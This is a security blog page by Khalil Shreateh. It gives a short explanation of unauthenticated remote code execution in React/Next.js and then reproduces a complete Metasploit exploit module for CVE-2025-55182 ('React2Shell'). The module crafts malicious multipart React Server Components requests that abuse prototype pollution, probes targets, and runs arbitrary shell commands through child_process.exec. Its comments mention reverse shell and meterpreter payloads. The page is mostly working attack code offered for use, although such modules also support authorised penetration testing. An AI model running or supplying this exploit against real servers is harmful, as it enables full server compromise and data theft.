Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

React/Next.js applications can suffer from Unauthenticated Remote Code Execution (RCE), React/Next.js applications can suffer from Unauthenticated Remote Code Execution (RCE), enabling attackers to run arbitrary code on the server without authentication. This critical flaw typically arises in server-side rendered (SSR) pages or API routes.

It stems from improper handling of user-controlled input. Attackers exploit issues like insecure deserialization, template injection, or dynamic code evaluation vulnerabilities (e.g., `eval()`, `new Function()`) when processing untrusted data.

If an application directly incorporates malicious user input into code execution contexts without adequate sanitization or validation, the injected payload executes commands with the server's privileges.

The impact is severe: full server compromise, data theft, and further network penetration. Mitigation requires rigorous input validation, avoiding dynamic code execution with untrusted data, using secure serialization, and keeping Next.js and dependencies updated.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Unauthenticated RCE in React and Next.js',
'Description' => %q{
A critical unauthenticated Remote Code Execution (RCE) vulnerability exists in React Server
Components (RSC) Flight protocol. The vulnerability allows attackers to achieve prototype
pollution during deserialization of RSC payloads by sending specially crafted multipart
requests with "__proto__", "constructor", or "prototype" as module names.
},
'License' => MSF_LICENSE,
'Author' => [
'Maksim Rogov', # Metasploit Module
'Lachlan Davidson', # Vulnerability Discovery
'maple3142' # Public Exploit
],
'References' => [
['CVE', '2025-55182'],
['CVE', '2025-66478'],
['URL', 'https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components'],
['URL', 'https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3']
],
'Platform' => ['multi'],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix Command',
{
'Platform' => ['unix', 'linux'],
'DefaultOptions' => {
'FETCH_COMMAND' => 'WGET'
}
# Tested with cmd/unix/reverse_bash
# Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command',
{
'Platform' => ['windows']
# Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
],
],
'Payload' => {
'BadChars' => '"'
},
'DefaultTarget' => 0,
'DisclosureDate' => '2025-12-03',
'Notes' => {
'AKA' => ['React2Shell'],
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)

register_options(
[
OptString.new('TARGETURI', [true, 'Path to the React App', '/']),
]
)
end

def build_malicious_chunk(ref_idx, reason, get_token, node_payload)
{
'then' => "$#{ref_idx}:then",
'status' => 'resolved_model',
'reason' => reason,
'value' => { 'then' => '$B' }.to_json,
'_response' => {
'_prefix' => node_payload,
'_formData' => {
'get' => "$#{ref_idx}:#{get_token}:constructor"
}
}
}.to_json
end

def get_random_value
random_string = Rex::Text.rand_text_alphanumeric(6..14).upcase
['""', '{}', '[]', 'null', 'undefined', 'true', 'false', "\"#{random_string}\""].sample
end

def build_post_data(node_payload)
random_reason = -Rex::Text.rand_text_numeric(1, '0').to_i
random_ref_idx = Rex::Text.rand_text_numeric(1, '0').to_i
random_get_token = ['then', 'constructor'].sample

chunk = build_malicious_chunk(random_ref_idx, random_reason, random_get_token, node_payload)

post_data = Rex::MIME::Message.new
post_data.add_part(chunk, nil, nil, 'form-data; name="0"')

cycle_length = rand(random_ref_idx..9)
(1..cycle_length).each do |i|
value = (i == random_ref_idx) ? "\"$@#{random_ref_idx}\"" : get_random_value
post_data.add_part(value, nil, nil, "form-data; name=\"#{i}\"")
end

post_data
end

def send_payload(node_payload)
post_data = build_post_data(node_payload)

send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'headers' => { 'Next-Action' => '' },
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
)
end

def check
random_id = Rex::Text.rand_text_alphanumeric(8..16).upcase
node_payload = "throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`NEXT_REDIRECT;push;/#{random_id};307;`});"

res = send_payload(node_payload)
return CheckCode::Unknown("#{peer} - No response from web service") unless res

headers_text = res.headers.to_s
return CheckCode::Appears if res.code == 303 && headers_text.include?("/#{random_id};push")

CheckCode::Safe("The target #{target_uri} is not vulnerable")
end

def exploit
node_payload = "process.mainModule.require('child_process').exec(\"#{payload.encoded}\",{detached:true,stdio:'ignore'},function(){});"
send_payload(node_payload)
end
end

Social Media Share